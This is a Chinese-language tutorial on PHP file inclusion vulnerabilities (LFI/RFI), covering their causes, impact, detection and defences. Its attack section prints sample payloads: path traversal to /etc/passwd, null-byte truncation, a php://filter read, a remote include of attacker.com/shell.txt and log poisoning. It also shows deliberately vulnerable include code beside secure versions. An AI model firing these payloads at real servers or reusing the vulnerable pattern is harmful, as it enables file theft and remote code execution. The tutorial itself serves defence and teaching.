Web安全之文件包含漏洞（LFI/RFI）原理与防护详解

1. 漏洞描述
文件包含漏洞是一种Web安全漏洞，允许攻击者包含并执行服务器上的任意文件。分为两种类型：

• 本地文件包含（LFI）：包含服务器本地的文件
• 远程文件包含（RFI）：通过URL包含远程服务器上的文件

2. 漏洞产生原理

• 根本原因：应用程序未对用户输入的文件路径进行严格过滤
• 常见场景：
  • 动态包含页面模板：include($_GET['page'] . '.php')
  • 文件下载功能：readfile($_GET['file'])
  • 语言包加载：require_once("lang/" . $_GET['lang'])

3. 漏洞危害分析

• 敏感信息泄露：读取服务器配置文件（/etc/passwd）
• 源代码泄露：获取应用程序源码
• 远程代码执行：包含恶意文件获取服务器权限
• 攻击内部系统：通过SSRF读取内网文件

4. 攻击手法详解

4.1 路径遍历攻击

http://example.com/?page=../../../etc/passwd
使用../进行目录跳转，突破web根目录限制

4.2 空字节截断（PHP<5.3）

http://example.com/?page=../../../etc/passwd%00
利用%00截断后续添加的文件扩展名

4.3 协议包装器利用

php://filter/read=convert.base64-encode/resource=config.php
通过PHP包装器读取文件base64内容，绕过某些限制

http://example.com/?page=http://attacker.com/shell.txt
远程包含恶意代码文件

4.4 日志文件注入

通过User-Agent注入PHP代码到日志文件，然后包含该日志文件
http://example.com/?page=../../../var/log/apache2/access.log

5. 漏洞检测方法

5.1 手工检测步骤

1. 寻找文件包含参数：page、file、template、lang等
2. 测试基本包含：?page=index
3. 测试路径遍历：?page=../../../../etc/passwd
4. 测试协议包装器：?page=php://filter
5. 测试远程包含：?page=http://test.com/test.txt

5.2 自动化检测

• 使用Burp Suite等工具进行参数fuzzing
• 部署专门的漏洞扫描器检测LFI/RFI

6. 防护策略详解

6.1 输入验证与白名单机制

// 错误的做法 - 黑名单过滤
$page = str_replace('../', '', $_GET['page']);

// 正确的做法 - 白名单验证
$allowed_pages = array('home', 'about', 'contact');
if (in_array($_GET['page'], $allowed_pages)) {
    include($_GET['page'] . '.php');
} else {
    include('404.php');
}

6.2 路径限制与规范化

// 限制文件路径在特定目录
$base_dir = '/var/www/templates/';
$page = basename($_GET['page']); // 去除路径信息
$full_path = realpath($base_dir . $page);

// 验证路径是否在允许的目录内
if (strpos($full_path, $base_dir) === 0 && file_exists($full_path)) {
    include($full_path);
}

6.3 文件扩展名控制

// 强制添加安全扩展名
$page = $_GET['page'];
if (preg_match('/^[a-zA-Z0-9_-]+$/', $page)) {
    include($page . '.php');
}

6.4 服务器配置加固

# Apache配置 - 禁用特定包装器
php_admin_value allow_url_fopen Off
php_admin_value allow_url_include Off

# Nginx配置 - 限制文件访问
location ~ /includes/ {
    deny all;
}

6.5 应用程序架构改进

• 使用映射表代替直接文件包含
• 实现安全的模板引擎
• 分离用户数据与代码执行环境

7. 代码示例对比

漏洞代码：

<?php
$page = $_GET['page'];
include($page . '.php');
?>

安全代码：

<?php
class PageLoader {
    private $base_path = '/safe/templates/';
    private $allowed_pages = ['home', 'about', 'contact'];
    
    public function loadPage($page_name) {
        // 白名单验证
        if (!in_array($page_name, $this->allowed_pages)) {
            throw new InvalidArgumentException('Invalid page requested');
        }
        
        // 路径规范化
        $full_path = realpath($this->base_path . $page_name . '.php');
        
        // 路径验证
        if (strpos($full_path, $this->base_path) !== 0 || !file_exists($full_path)) {
            throw new RuntimeException('Page not found');
        }
        
        include($full_path);
    }
}
?>

8. 总结
文件包含漏洞的危害等级通常较高，防护需要从输入验证、路径控制、服务器配置等多个层面进行。最重要的是采用白名单机制，避免直接使用用户输入作为文件路径。